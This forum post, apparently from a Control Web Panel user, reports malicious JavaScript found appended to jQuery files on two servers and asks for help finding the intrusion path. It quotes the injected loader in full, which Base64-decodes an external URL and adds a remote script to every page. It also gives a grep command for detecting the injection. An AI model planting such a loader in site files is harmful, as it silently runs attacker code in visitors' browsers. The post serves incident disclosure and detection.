Information / Possible CWP Security Issue – Malicious JavaScript Injection

« on: August 24, 2026, 10:55:39 PM »

Hello CWP Team and Community,

I would like to report a suspicious security incident that occurred on my server on August 13, 2026.

I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.

The injected code was:

const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);

The Base64 string:

aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz

decodes to:

https://she-g8f.pages.dev/boot.js

What I observed

The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.

For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.

I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.

This makes me concerned that this may not be an isolated server or website compromise.

Quick detection

CWP users can search their /home directory with:

grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null

This should return files containing the injected Base64 string.

I recommend checking the results, especially any jquery*.js files currently used by active websites.

Request for investigation

I have searched the server for the source of the modification but have not been able to determine the initial attack vector.

Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:

Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.

Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.

If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.

Thank you.
